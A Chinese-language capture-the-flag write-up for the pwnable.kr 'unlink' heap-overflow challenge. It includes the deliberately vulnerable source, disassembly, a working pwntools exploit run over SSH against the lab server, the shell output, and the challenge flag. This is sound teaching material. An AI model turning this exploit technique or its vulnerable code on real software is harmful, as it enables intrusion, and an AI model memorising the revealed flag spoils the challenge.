pwnable.kr-unlink

前言

这是一道简化了的linux下malloc堆溢出漏洞利用。需要理解linux下关于glibc的堆管理的相关内容，参考

分析

分析源码unlink.c

typedef struct tagOBJ{
	struct tagOBJ* fd;
	struct tagOBJ* bk;
	char buf[8];
}OBJ;

void shell(){
	system("/bin/sh");
}

void unlink(OBJ* P){
	OBJ* BK;
	OBJ* FD;
	BK=P->bk;
	FD=P->fd;
	FD->bk=BK;
	BK->fd=FD;
}
int main(int argc, char* argv[]){
	malloc(1024);
	OBJ* A = (OBJ*)malloc(sizeof(OBJ));
	OBJ* B = (OBJ*)malloc(sizeof(OBJ));
	OBJ* C = (OBJ*)malloc(sizeof(OBJ));

	// double linked list: A <-> B <-> C
	A->fd = B;
	B->bk = A;
	B->fd = C;
	C->bk = B;

	printf("here is stack address leak: %p\n", &A);
	printf("here is heap address leak: %p\n", A);
	printf("now that you have leaks, get shell!\n");
	// heap overflow!
	gets(A->buf);

	// exploit this unlink!
	unlink(B);
	return 0;
}

程序很简单完全就是教学版的unlink堆溢出利用。程序在gets(A->buf)处存在堆溢出漏洞，之后调用unlink(B)函数把B节点从链表中取下来。这个函数中，如果控制了P节点的fb和bk指针，那么就可以造成任意地址写入，写入过程是将bk写入fb+4表示的地址处，将fb写入bk表示的地址处。要想写入想要的地址，必须要保证两步写入操作不会触发写异常保护，这里需要控制esp的值来使main函数在返回时执行ret指令将shell地址赋给eip。
下面分析main函数反汇编代码，来构造payload

0804852f <main>:
 804852f:	8d 4c 24 04          	lea    0x4(%esp),%ecx
 8048533:	83 e4 f0             	and    $0xfffffff0,%esp
 8048536:	ff 71 fc             	pushl  -0x4(%ecx)
 8048539:	55                   	push   %ebp
 804853a:	89 e5                	mov    %esp,%ebp
 804853c:	51                   	push   %ecx
 804853d:	83 ec 14             	sub    $0x14,%esp
 8048540:	83 ec 0c             	sub    $0xc,%esp
 8048543:	68 00 04 00 00       	push   $0x400
 8048548:	e8 53 fe ff ff       	call   80483a0 <malloc@plt>
 804854d:	83 c4 10             	add    $0x10,%esp
 8048550:	83 ec 0c             	sub    $0xc,%esp
 8048553:	6a 10                	push   $0x10
 8048555:	e8 46 fe ff ff       	call   80483a0 <malloc@plt>
 804855a:	83 c4 10             	add    $0x10,%esp
 804855d:	89 45 ec             	mov    %eax,-0x14(%ebp)
 8048560:	83 ec 0c             	sub    $0xc,%esp
 8048563:	6a 10                	push   $0x10
 8048565:	e8 36 fe ff ff       	call   80483a0 <malloc@plt>
 804856a:	83 c4 10             	add    $0x10,%esp
 804856d:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048570:	83 ec 0c             	sub    $0xc,%esp
 8048573:	6a 10                	push   $0x10
 8048575:	e8 26 fe ff ff       	call   80483a0 <malloc@plt>
 804857a:	83 c4 10             	add    $0x10,%esp
 804857d:	89 45 f0             	mov    %eax,-0x10(%ebp)
 8048580:	8b 45 ec             	mov    -0x14(%ebp),%eax
 8048583:	8b 55 f4             	mov    -0xc(%ebp),%edx
 8048586:	89 10                	mov    %edx,(%eax)
 8048588:	8b 55 ec             	mov    -0x14(%ebp),%edx
 804858b:	8b 45 f4             	mov    -0xc(%ebp),%eax
 804858e:	89 50 04             	mov    %edx,0x4(%eax)
 8048591:	8b 45 f4             	mov    -0xc(%ebp),%eax
 8048594:	8b 55 f0             	mov    -0x10(%ebp),%edx
 8048597:	89 10                	mov    %edx,(%eax)
 8048599:	8b 45 f0             	mov    -0x10(%ebp),%eax
 804859c:	8b 55 f4             	mov    -0xc(%ebp),%edx
 804859f:	89 50 04             	mov    %edx,0x4(%eax)
 80485a2:	83 ec 08             	sub    $0x8,%esp
 80485a5:	8d 45 ec             	lea    -0x14(%ebp),%eax
 80485a8:	50                   	push   %eax
 80485a9:	68 98 86 04 08       	push   $0x8048698
 80485ae:	e8 cd fd ff ff       	call   8048380 <printf@plt>
 80485b3:	83 c4 10             	add    $0x10,%esp
 80485b6:	8b 45 ec             	mov    -0x14(%ebp),%eax
 80485b9:	83 ec 08             	sub    $0x8,%esp
 80485bc:	50                   	push   %eax
 80485bd:	68 b8 86 04 08       	push   $0x80486b8
 80485c2:	e8 b9 fd ff ff       	call   8048380 <printf@plt>
 80485c7:	83 c4 10             	add    $0x10,%esp
 80485ca:	83 ec 0c             	sub    $0xc,%esp
 80485cd:	68 d8 86 04 08       	push   $0x80486d8
 80485d2:	e8 d9 fd ff ff       	call   80483b0 <puts@plt>
 80485d7:	83 c4 10             	add    $0x10,%esp
 80485da:	8b 45 ec             	mov    -0x14(%ebp),%eax
 80485dd:	83 c0 08             	add    $0x8,%eax
 80485e0:	83 ec 0c             	sub    $0xc,%esp
 80485e3:	50                   	push   %eax
 80485e4:	e8 a7 fd ff ff       	call   8048390 <gets@plt>
 80485e9:	83 c4 10             	add    $0x10,%esp
 80485ec:	83 ec 0c             	sub    $0xc,%esp
 80485ef:	ff 75 f4             	pushl  -0xc(%ebp)
 80485f2:	e8 0d ff ff ff       	call   8048504 <unlink>
 80485f7:	83 c4 10             	add    $0x10,%esp
 80485fa:	b8 00 00 00 00       	mov    $0x0,%eax
 80485ff:	8b 4d fc             	mov    -0x4(%ebp),%ecx
 8048602:	c9                   	leave  
 8048603:	8d 61 fc             	lea    -0x4(%ecx),%esp
 8048606:	c3                   	ret    
 8048607:	66 90                	xchg   %ax,%ax
 8048609:	66 90                	xchg   %ax,%ax
 804860b:	66 90                	xchg   %ax,%ax
 804860d:	66 90                	xchg   %ax,%ax
 804860f:	90                   	nop

可以发现A,B,C三个节点的栈地址分别是ebp-0x14,ebp-0xc,ebp-0x10，在函数结尾发现ret指令之前是lea -0x4(%ecx),%esp,说明esp最后会被ecx修改，而ecx又会被指令mov -0x4(%ebp),%ecx修改。于是要想把esp所表示地址的内容改为shell的地址，可以通过更改ebp-4的内容为shell地址+4来实现,而ebp-4的地址可以通过A地址来计算，它们的相对偏移为ebp-4-(ebp-0x14)=16。则堆块的内存布局如下

+-------------+--------------+   <= A
|   fd        |    bk        |
|shell_addr   |  aaaa        |
+-------------+--------------+   <= B
|    aaaaaaaa(chunk size)    |
|heap_addr+8+4|stack_addr+16 |
|            buf             |
+-------------+--------------+

要注意的是题目平台是64位系统，所以存储chunk size信息需要8字节，exp如下

from pwn import *

context(arch='amd64',os='linux',log_level='info')
s = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222)
shell_addr = 0x080484eb
ss = s.run('./unlink')
ss.recvuntil('here is stack address leak: ')
stack_addr = int(ss.recv(10),16)
ss.recvuntil('here is heap address leak: ')
heap_addr = int(ss.recv(10),16)
ss.sendline(p32(shell_addr)+'a'*12+p32(heap_addr+8+4)+p32(stack_addr+16))
ss.interactive()

root@kali:~/桌面# python 1.py
[+] Connecting to pwnable.kr on port 2222: Done
[!] Couldn't check security settings on 'pwnable.kr'
[+] Opening new channel: './unlink': Done
[*] Switching to interactive mode
now that you have leaks, get shell!
$ $ ls
flag  intended_solution.txt  unlink  unlink.c
$ $ cat flag
conditional_write_what_where_from_unl1nk_explo1t
$ $

总结

做这道题目搜索了很多关于glibc堆管理的相关内容，学到了不少，这里推荐一篇博文，它记录了很多关于软件安全方向的知识链接，很适合学习。另外pwable.kr的第一部分终于做完了，学到了不少基础知识，希望能在二进制的道路上越走越远。